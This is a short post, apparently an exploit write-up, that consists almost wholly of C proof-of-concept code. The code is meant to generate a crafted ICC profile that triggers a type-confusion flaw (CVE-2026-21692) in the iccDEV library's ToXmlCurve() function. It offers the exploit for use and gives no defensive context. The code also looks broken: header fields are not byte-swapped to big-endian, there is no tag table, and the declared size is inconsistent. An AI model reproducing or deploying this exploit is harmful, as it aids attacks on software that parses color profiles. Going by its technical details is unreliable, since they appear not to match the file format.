iccDEV库ToXmlCurve()函数类型混淆漏洞 (CVE-2026-21692)

// PoC for CVE-2026-21692 - Type Confusion in iccDEV ToXmlCurve() // This PoC generates a malicious ICC profile that triggers type confusion #include <stdio.h> #include <stdlib.h> #include <string.h> // ICC Profile Header structure typedef struct { uint32_t size; uint32_t cmm_type; uint32_t version; uint32_t device_class; uint32_t color_space; uint32_t pcs; uint32_t creation_date[3]; uint32_t profile_file_sig; uint32_t primary_platform; uint32_t profile_flags; uint32_t device_manufacturer; uint32_t device_model; uint64_t device_attributes; uint32_t rendering_intent; uint32_t pcs_illuminant_XYZ[3]; uint32_t creator_signature; uint32_t profile_id[4]; } ICC_Header; // Malicious tag data to trigger type confusion unsigned char malicious_tag_data[] = { 0x00, 0x00, 0x00, 0x00, // Curve type signature 0x00, 0x01, // Count of entries 0xFF, 0xFF // Curve data }; void create_malicious_icc_profile(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } // Write ICC profile header with crafted values ICC_Header header = {0}; header.size = 128; header.profile_file_sig = 0x61637370; // 'acsp' header.color_space = 0x52474220; // 'RGB ' header.pcs = 0x58595A20; // 'XYZ ' fwrite(&header, sizeof(ICC_Header), 1, fp); // Write malicious curve tag fwrite(malicious_tag_data, sizeof(malicious_tag_data), 1, fp); fclose(fp); printf("Malicious ICC profile created: %s\n", filename); } int main() { create_malicious_icc_profile("malicious_profile.icc"); printf("To trigger CVE-2026-21692, process this ICC profile with vulnerable iccDEV library\n"); return 0; }